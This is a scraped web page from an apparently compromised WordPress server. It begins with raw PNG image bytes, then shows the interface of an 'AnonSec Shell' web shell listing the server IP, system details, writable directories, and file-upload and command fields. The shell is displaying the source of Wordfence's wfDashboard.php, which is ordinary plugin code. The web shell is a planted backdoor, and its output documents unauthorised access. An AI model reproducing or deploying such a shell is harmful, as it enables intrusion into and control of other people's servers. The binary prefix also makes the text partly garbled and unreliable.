‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/upgrade/wordfence.7.9.1/wordfence/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/upgrade/wordfence.7.9.1/wordfence/lib//wfDashboard.php
<?php

class wfDashboard {
	const SCAN_SUCCESS = 1;
	const SCAN_FAILED = 0;
	const SCAN_NEVER_RAN = -1;
	const SCAN_WARNINGS = 2;
	
	const FEATURE_ENABLED = 1;
	const FEATURE_DISABLED = 0;
	const FEATURE_PREMIUM = -1;
	
	public $scanLastCompletion;
	public $scanLastStatusMessage;
	public $scanLastStatus;
	
	public $notifications = array();
	
	public $features = array();
	
	public $lastGenerated;
	
	public $tdfCommunity;
	public $tdfPremium;
	
	public $ips24h;
	public $ips7d;
	public $ips30d;
	
	public $loginsSuccess;
	public $loginsFail;
	
	public $localBlocks;
	
	public $networkBlock24h;
	public $networkBlock7d;
	public $networkBlock30d;
	
	public $countriesLocal;
	public $countriesNetwork;
	public $wordfenceCentralConnected;
	public $wordfenceCentralConnectTime;
	public $wordfenceCentralConnectEmail;
	public $wordfenceCentralDisconnected;
	public $wordfenceCentralDisconnectTime;
	public $wordfenceCentralDisconnectEmail;

	public static function processDashboardResponse($data) {
		if (isset($data['notifications'])) {
			foreach ($data['notifications'] as $n) {
				if (!isset($n['id']) || !isset($n['priority']) || !isset($n['html'])) {
					continue;
				}
				
				new wfNotification($n['id'], $n['priority'], $n['html'], (isset($n['category']) ? $n['category'] : null));
			}
			
			unset($data['notifications']);
		}
		
		if (isset($data['revoked'])) {
			foreach ($data['revoked'] as $r) {
				if (!isset($r['id'])) {
					continue;
				}
				
				$notification = wfNotification::getNotificationForID($r['id']);
				if ($notification !== null) {
					$notification->markAsRead();
				}
			}
			
			unset($data['revoked']);
		}
		wfConfig::set_ser('dashboardData', $data);
	}
	
	public function __construct() {
		// Scan values
		$lastScanCompleted = wfConfig::get('lastScanCompleted');
		if ($lastScanCompleted === false || empty($lastScanCompleted)) {
			$this->scanLastStatus = self::SCAN_NEVER_RAN;
		}
		else if ($lastScanCompleted == 'ok') {
			$this->scanLastStatus = self::SCAN_SUCCESS;
			
			$i = new wfIssues();
			$this->scanLastCompletion = (int) wfScanner::shared()->lastScanTime();
			$issueCount = $i->getIssueCount();
			if ($issueCount) {
				$this->scanLastStatus = self::SCAN_WARNINGS;
				$this->scanLastStatusMessage = "{$issueCount} issue" . ($issueCount == 1 ? ' found' : 's found');
			}
		} 
		else {
			$this->scanLastStatus = self::SCAN_FAILED;
			$n = wfNotification::getNotificationForCategory('wfplugin_scan', false);
			if ($n !== null) {
				$this->scanLastStatusMessage = $n->html;
			}
			else {
				$this->scanLastStatusMessage = esc_html(substr($lastScanCompleted, 0, 100) . (strlen($lastScanCompleted) > 100 ? '...' : ''));
			}
		}
		
		// Notifications
		$this->notifications = wfNotification::notifications();
		
		// Features
		$countryBlocking = self::FEATURE_PREMIUM;
		if (wfConfig::get('isPaid')) {
			$countryBlocking = self::FEATURE_DISABLED;
			$countryList = wfConfig::get('cbl_countries');
			if (!empty($countryList) && (wfConfig::get('cbl_loggedInBlocked', false) || wfConfig::get('cbl_loginFormBlocked', false) || wfConfig::get('cbl_restOfSiteBlocked', false))) {
				$countryBlocking = self::FEATURE_ENABLED;
			}
		}
		
		$this->features = array(); //Deprecated
		
		$data = wfConfig::get_ser('dashboardData');
		$lastChecked = wfConfig::get('lastDashboardCheck', 0);
		if ((!is_array($data) || (isset($data['generated']) && $data['generated'] + 3600 < time())) && $lastChecked + 3600 < time()) {
			$wp_version = wfUtils::getWPVersion();
			$apiKey = wfConfig::get('apiKey');
			$api = new wfAPI($apiKey, $wp_version);
			wfConfig::set('lastDashboardCheck', time());
			try {
				$json = $api->getStaticURL('/stats.json');
				$data = @json_decode($json, true);
				if ($json && is_array($data)) {
					self::processDashboardResponse($data);
				}
			}
			catch (Exception $e) {
				//Do nothing
			}
		}
		
		// Last Generated
		if (is_array($data) && isset($data['generated'])) {
			$this->lastGenerated = $data['generated'];
		}
		
		// TDF
		if (is_array($data) && isset($data['tdf']) && isset($data['tdf']['community'])) {
			$this->tdfCommunity = (int) $data['tdf']['community'];
			$this->tdfPremium = (int) $data['tdf']['premium'];
		}
		
		// Top IPs Blocked
		$activityReport = new wfActivityReport();
		$this->ips24h = (array) $activityReport->getTopIPsBlocked(100, 1);
		foreach ($this->ips24h as &$r24h) {
			$r24h = (array) $r24h;
			if (empty($r24h['countryName'])) { $r24h['countryName'] = 'Unknown'; }
		}
		$this->ips7d = (array) $activityReport->getTopIPsBlocked(100, 7);
		foreach ($this->ips7d as &$r7d) {
			$r7d = (array) $r7d;
			if (empty($r7d['countryName'])) { $r7d['countryName'] = 'Unknown'; }
		}
		$this->ips30d = (array) $activityReport->getTopIPsBlocked(100, 30);
		foreach ($this->ips30d as &$r30d) {
			$r30d = (array) $r30d;
			if (empty($r30d['countryName'])) { $r30d['countryName'] = 'Unknown'; }
		}
		
		// Recent Logins
		$logins = wordfence::getLog()->getHits('logins', 'loginLogout', 0, 200);
		$this->loginsSuccess = array();
		$this->loginsFail = array();
		foreach ($logins as $l) {
			if ($l['fail']) {
				$this->loginsFail[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']);
			}
			else if ($l['action'] != 'logout') {
				$this->loginsSuccess[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']);
			}
		}
		
		// Local Attack Data
		$this->localBlocks = array();
		$this->localBlocks[] = array('title' => __('Complex', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_COMPLEX,
			'24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_COMPLEX),
			'7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_COMPLEX),
			'30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_COMPLEX),
		);
		$this->localBlocks[] = array('title' => __('Brute Force', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BRUTE_FORCE,
			'24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
			'7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
			'30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
		);
		$this->localBlocks[] = array('title' => __('Blocklist', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BLACKLIST,
			'24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_BLACKLIST),
			'7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_BLACKLIST),
			'30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_BLACKLIST),
		);
		
		// Network Attack Data
		if (is_array($data) && isset($data['attackdata']) && isset($data['attackdata']['24h'])) {
			$this->networkBlock24h = $data['attackdata']['24h'];
			$this->networkBlock7d = $data['attackdata']['7d'];
			$this->networkBlock30d = $data['attackdata']['30d'];
		}
		
		// Blocked Countries
		$this->countriesLocal = (array) $activityReport->getTopCountriesBlocked(10, 7);
		foreach ($this->countriesLocal as &$rLocal) {
			$rLocal = (array) $rLocal;
			if (empty($rLocal['countryName'])) { $rLocal['countryName'] = 'Unknown'; }
		}
		
		if (is_array($data) && isset($data['countries']) && isset($data['countries']['7d'])) {
			$networkCountries = array();
			foreach ($data['countries']['7d'] as $rNetwork) {
				$countryCode = $rNetwork['cd'];
				$countryName = $activityReport->getCountryNameByCode($countryCode);
				if (empty($countryName)) { $countryName = 'Unknown'; }
				$totalBlockCount = $rNetwork['ct'];
				$networkCountries[] = array('countryCode' => $countryCode, 'countryName' => $countryName, 'totalBlockCount' => $totalBlockCount);
			}
			$this->countriesNetwork = $networkCountries;
		}

		// Wordfence Central
		$this->wordfenceCentralConnected = wfCentral::_isConnected(); // This value is cached.
		$this->wordfenceCentralConnectTime = wfConfig::get('wordfenceCentralConnectTime');
		$this->wordfenceCentralConnectEmail = wfConfig::get('wordfenceCentralConnectEmail');
		$this->wordfenceCentralDisconnected = wfConfig::get('wordfenceCentralDisconnected');
		$this->wordfenceCentralDisconnectTime = wfConfig::get('wordfenceCentralDisconnectTime');
		$this->wordfenceCentralDisconnectEmail = wfConfig::get('wordfenceCentralDisconnectEmail');
	}
}

Anon7 - 2022
AnonSec Team